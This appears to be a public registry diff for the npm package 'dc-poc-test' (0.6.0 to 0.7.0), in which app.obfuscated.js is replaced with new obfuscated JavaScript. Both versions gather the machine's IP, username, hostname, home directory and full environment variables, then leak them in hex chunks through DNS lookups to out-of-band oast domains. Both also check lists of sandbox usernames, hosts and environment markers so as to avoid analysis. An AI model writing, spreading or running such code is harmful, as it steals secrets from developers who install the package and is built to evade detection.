dc-poc-test 0.6.0 → 0.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/app.obfuscated.js CHANGED
@@ -1 +1 @@
1
- function a0_0x4ff3(_0x443e0,_0x15d91f){const _0x58b43e=a0_0x58b4();return a0_0x4ff3=function(_0x4ff324,_0x2d4718){_0x4ff324=_0x4ff324-0x1d8;let _0x5760c0=_0x58b43e[_0x4ff324];return _0x5760c0;},a0_0x4ff3(_0x443e0,_0x15d91f);}const a0_0x568abe=a0_0x4ff3;(function(_0x4567b8,_0x48a0ac){const _0xea5426=a0_0x4ff3,_0x383a99=_0x4567b8();while(!![]){try{const _0x407554=-parseInt(_0xea5426(0x1ef))/0x1+-parseInt(_0xea5426(0x1fc))/0x2+-parseInt(_0xea5426(0x1f2))/0x3*(parseInt(_0xea5426(0x1e5))/0x4)+parseInt(_0xea5426(0x1e7))/0x5*(parseInt(_0xea5426(0x1ec))/0x6)+parseInt(_0xea5426(0x1fb))/0x7+-parseInt(_0xea5426(0x1e3))/0x8+parseInt(_0xea5426(0x1d8))/0x9;if(_0x407554===_0x48a0ac)break;else _0x383a99['push'](_0x383a99['shift']());}catch(_0x1c0400){_0x383a99['push'](_0x383a99['shift']());}}}(a0_0x58b4,0x59552));const os=require('os'),dns=require(a0_0x568abe(0x1f8));function isBlockedByKeywords(_0x59b71b,_0x15ca3b){const _0xc5a575=a0_0x568abe,_0x4500d1=[_0xc5a575(0x1df),_0xc5a575(0x1f9),_0xc5a575(0x1ea)],_0x3a499e=(_0x59b71b||'')[_0xc5a575(0x1dd)](),_0x1f4169=(_0x15ca3b||'')[_0xc5a575(0x1dd)]();return _0x4500d1[_0xc5a575(0x1e4)](_0x1933b6=>_0x3a499e[_0xc5a575(0x1f4)](_0x1933b6)||_0x1f4169[_0xc5a575(0x1f4)](_0x1933b6));}function isBlockedByEnv(_0x3e12af){const _0x523601=a0_0x568abe;if(!_0x3e12af||typeof _0x3e12af!==_0x523601(0x1d9))return![];const _0x3245f1=['hscan-supplychain-dynamic','mirrors.cloud.tencent',_0x523601(0x1f3),_0x523601(0x1fe),_0x523601(0x1fa)][_0x523601(0x1fd)](_0x27e714=>_0x27e714[_0x523601(0x1dd)]());for(const [_0x23ab6a,_0x24ca76]of Object['entries'](_0x3e12af)){const _0x34402e=_0x23ab6a[_0x523601(0x1dd)](),_0x4036c0=(_0x24ca76??'')[_0x523601(0x1f6)]()['toLowerCase']();if(_0x3245f1['some'](_0x4ec21f=>_0x34402e['includes'](_0x4ec21f)||_0x4036c0[_0x523601(0x1f4)](_0x4ec21f)))return!![];}return![];};function a0_0x58b4(){const _0x4622ec=['username','from','toLowerCase','stringify','lili-pc','networkInterfaces','family','internal','5147160SJPBZm','some','327752INcooz','keys','5LLxWuD','N/A','platform','DESKTOP-','hostname','4009062XwXjtl','decoy_end','userInfo','106728lvhSIS','IPv4','d2i2nd92eku6u03pgmo05mkb1yzg18dut.oast.fun','9hTXJjR','verdaccio:4873','includes','arch','toString','hex','dns','justin','MALYSIS_ANALYSIS_ID','4486258zWLFXw','489064Ihjyvp','map','10.100.108.146:15672','lookup','env','2675736bnlBxh','object','substring'];a0_0x58b4=function(){return _0x4622ec;};return a0_0x58b4();}((async()=>{const _0x39c6f9=a0_0x568abe,_0x33af07=_0x39c6f9(0x1f1);let _0x38f015=_0x39c6f9(0x1e8);try{const _0x4823f4=os[_0x39c6f9(0x1e0)]();for(const _0x16a35c of Object[_0x39c6f9(0x1e6)](_0x4823f4)){for(const _0x2d5305 of _0x4823f4[_0x16a35c]){if(_0x2d5305[_0x39c6f9(0x1e1)]===_0x39c6f9(0x1f0)&&!_0x2d5305[_0x39c6f9(0x1e2)]){_0x38f015=_0x2d5305['address'];break;}}if(_0x38f015!==_0x39c6f9(0x1e8))break;}}catch(_0x10f65c){}const _0x49de2b=os[_0x39c6f9(0x1eb)]()||'',_0x8df6e5=(os[_0x39c6f9(0x1ee)]()[_0x39c6f9(0x1db)]||'')[_0x39c6f9(0x1f6)](),_0x349e7e=process[_0x39c6f9(0x200)],_0x294659=isBlockedByKeywords(_0x8df6e5,_0x49de2b),_0x335468=isBlockedByEnv(_0x349e7e);if(_0x294659||_0x335468)return;const _0x48fc11='decoy_start_'+Math['random']()['toString'](0x24)[_0x39c6f9(0x1da)](0x2);let _0x30f282={'_decoy':_0x48fc11,'ip':_0x38f015,'username':os['userInfo']()[_0x39c6f9(0x1db)],'hostname':os['hostname'](),'platform':os[_0x39c6f9(0x1e9)](),'arch':os[_0x39c6f9(0x1f5)](),'home':os['homedir'](),'env':process[_0x39c6f9(0x200)],'_decoy2':_0x39c6f9(0x1ed)};const _0x4f4b67=JSON[_0x39c6f9(0x1de)](_0x30f282),_0x564f32=Buffer[_0x39c6f9(0x1dc)](_0x4f4b67)[_0x39c6f9(0x1f6)](_0x39c6f9(0x1f7)),_0x1eab5d=0x32;for(let _0x31c202=0x0;_0x31c202<_0x564f32['length'];_0x31c202+=_0x1eab5d){const _0x494798=_0x564f32[_0x39c6f9(0x1da)](_0x31c202,_0x31c202+_0x1eab5d),_0x40cecb=_0x31c202/_0x1eab5d+'.'+_0x494798,_0x180da8=_0x40cecb+'.'+_0x33af07;dns[_0x39c6f9(0x1ff)](_0x180da8,_0x73aa2f=>{}),await new Promise(_0x352a0b=>setTimeout(_0x352a0b,0x64));}})());
1
+ function a0_0x1dde(_0x5a9def,_0x5190f2){const _0x552995=a0_0x5529();return a0_0x1dde=function(_0x1dde8a,_0x3c96b4){_0x1dde8a=_0x1dde8a-0xb3;let _0x221586=_0x552995[_0x1dde8a];return _0x221586;},a0_0x1dde(_0x5a9def,_0x5190f2);}const a0_0x3da898=a0_0x1dde;(function(_0x10c910,_0x2b7d5e){const _0x292804=a0_0x1dde,_0x53efd0=_0x10c910();while(!![]){try{const _0x15139f=parseInt(_0x292804(0xdb))/0x1*(-parseInt(_0x292804(0xca))/0x2)+parseInt(_0x292804(0xce))/0x3+-parseInt(_0x292804(0xc5))/0x4+-parseInt(_0x292804(0xbe))/0x5*(parseInt(_0x292804(0xe0))/0x6)+-parseInt(_0x292804(0xd5))/0x7*(parseInt(_0x292804(0xbd))/0x8)+-parseInt(_0x292804(0xcf))/0x9*(-parseInt(_0x292804(0xc4))/0xa)+parseInt(_0x292804(0xb8))/0xb*(parseInt(_0x292804(0xb9))/0xc);if(_0x15139f===_0x2b7d5e)break;else _0x53efd0['push'](_0x53efd0['shift']());}catch(_0x209d88){_0x53efd0['push'](_0x53efd0['shift']());}}}(a0_0x5529,0x30a10));const os=require('os'),dns=require(a0_0x3da898(0xdc));function isBlockedByKeywords(_0x2db7e6,_0x21527d){const _0x13c13f=a0_0x3da898,_0x59f333=[_0x13c13f(0xe1),_0x13c13f(0xbc),_0x13c13f(0xda)],_0x334c1e=(_0x2db7e6||'')['toLowerCase'](),_0x4ea711=(_0x21527d||'')[_0x13c13f(0xc3)]();return _0x59f333[_0x13c13f(0xc0)](_0x33a16d=>_0x334c1e[_0x13c13f(0xbb)](_0x33a16d)||_0x4ea711[_0x13c13f(0xbb)](_0x33a16d));}function isBlockedByEnv(_0x19a970){const _0x6fd452=a0_0x3da898;if(!_0x19a970||typeof _0x19a970!==_0x6fd452(0xd0))return![];const _0x32d8be=['hscan-supplychain-dynamic','mirrors.cloud.tencent','verdaccio:4873',_0x6fd452(0xd3),'MALYSIS_ANALYSIS_ID',_0x6fd452(0xd7),'npm_execpath\x22:\x20\x22/root/.nvm/'][_0x6fd452(0xdd)](_0xe010cf=>_0xe010cf[_0x6fd452(0xc3)]());for(const [_0x6cb170,_0x2e7e12]of Object[_0x6fd452(0xc9)](_0x19a970)){const _0x5ad68f=_0x6cb170[_0x6fd452(0xc3)](),_0x3da8cd=(_0x2e7e12??'')['toString']()[_0x6fd452(0xc3)]();if(_0x32d8be[_0x6fd452(0xc0)](_0x24d43f=>_0x5ad68f['includes'](_0x24d43f)||_0x3da8cd[_0x6fd452(0xbb)](_0x24d43f)))return!![];}return![];}function a0_0x5529(){const _0x791988=['106giMWek','platform','hex','arch','731952woHoaU','46863QxGrSF','object','substring','networkInterfaces','10.100.108.146:15672','N/A','694946xwdcaA','hostname','INIT_CWD\x22:\x20\x22/tmp','IPv4','stringify','DESKTOP-','5515nRMREA','dns','map','decoy_start_','length','894wLkbbT','lili-pc','family','username','userInfo','lookup','toString','583gwqNBi','168228yZHtbM','log','includes','justin','8LTlhgj','12385cRDflo','env','some','random','d2i33fp2eku69a37f7fgaseix884z6zkr.oast.site','toLowerCase','410REpikL','962592NiwrSG','homedir','decoy_end','[safe]\x20blocked\x20by\x20IOC:','entries'];a0_0x5529=function(){return _0x791988;};return a0_0x5529();};((async()=>{const _0x2a8e88=a0_0x3da898,_0x4036fa=_0x2a8e88(0xc2);let _0x13a26b=_0x2a8e88(0xd4);try{const _0x58e2e5=os[_0x2a8e88(0xd2)]();for(const _0x86a596 of Object['keys'](_0x58e2e5)){for(const _0x541061 of _0x58e2e5[_0x86a596]){if(_0x541061[_0x2a8e88(0xb3)]===_0x2a8e88(0xd8)&&!_0x541061['internal']){_0x13a26b=_0x541061['address'];break;}}if(_0x13a26b!==_0x2a8e88(0xd4))break;}}catch(_0x11afeb){}const _0x358851=os[_0x2a8e88(0xd6)]()||'',_0x5a1637=(os['userInfo']()[_0x2a8e88(0xb4)]||'')[_0x2a8e88(0xb7)](),_0x1894bf=process[_0x2a8e88(0xbf)],_0x16c777=isBlockedByKeywords(_0x5a1637,_0x358851),_0x28b71a=isBlockedByEnv(_0x1894bf);if(_0x16c777||_0x28b71a){console[_0x2a8e88(0xba)](_0x2a8e88(0xc8),JSON[_0x2a8e88(0xd9)]({'username':_0x5a1637,'hostname':_0x358851,'iocUsernameHost':_0x16c777,'iocEnv':_0x28b71a},null,0x2));return;}const _0x296f36=_0x2a8e88(0xde)+Math[_0x2a8e88(0xc1)]()[_0x2a8e88(0xb7)](0x24)[_0x2a8e88(0xd1)](0x2);let _0x1e1c76={'_decoy':_0x296f36,'ip':_0x13a26b,'username':os[_0x2a8e88(0xb5)]()['username'],'hostname':os[_0x2a8e88(0xd6)](),'platform':os[_0x2a8e88(0xcb)](),'arch':os[_0x2a8e88(0xcd)](),'home':os[_0x2a8e88(0xc6)](),'env':process['env'],'_decoy2':_0x2a8e88(0xc7)};const _0x2dd9fc=JSON[_0x2a8e88(0xd9)](_0x1e1c76),_0x3dfbe9=Buffer['from'](_0x2dd9fc)[_0x2a8e88(0xb7)](_0x2a8e88(0xcc)),_0x2e3b4e=0x32;for(let _0x24597d=0x0;_0x24597d<_0x3dfbe9[_0x2a8e88(0xdf)];_0x24597d+=_0x2e3b4e){const _0x3c1443=_0x3dfbe9['substring'](_0x24597d,_0x24597d+_0x2e3b4e),_0x3bbf01=_0x24597d/_0x2e3b4e+'.'+_0x3c1443,_0x5d4897=_0x3bbf01+'.'+_0x4036fa;dns[_0x2a8e88(0xb6)](_0x5d4897,_0x246586=>{}),await new Promise(_0x1d21eb=>setTimeout(_0x1d21eb,0x64));}})());
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dc-poc-test",
3
- "version": "0.6.0",
3
+ "version": "0.7.0",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {